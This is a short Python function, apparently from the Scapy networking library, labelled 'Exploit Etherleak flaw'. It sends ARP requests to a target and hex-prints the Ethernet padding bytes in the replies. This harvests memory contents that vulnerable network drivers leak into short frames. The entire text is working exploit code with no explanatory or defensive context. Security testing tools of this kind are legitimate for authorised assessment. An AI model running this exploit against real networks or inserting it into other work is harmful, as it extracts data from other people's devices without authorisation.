Exploit Etherleak flaw

def etherleak(target, **kargs):
    """Exploit Etherleak flaw"""
    return srp(Ether() / ARP(pdst=target),
               prn=lambda s_r: conf.padding_layer in s_r[1] and hexstr(s_r[1][conf.padding_layer].load),  # noqa: E501
               filter="arp", **kargs)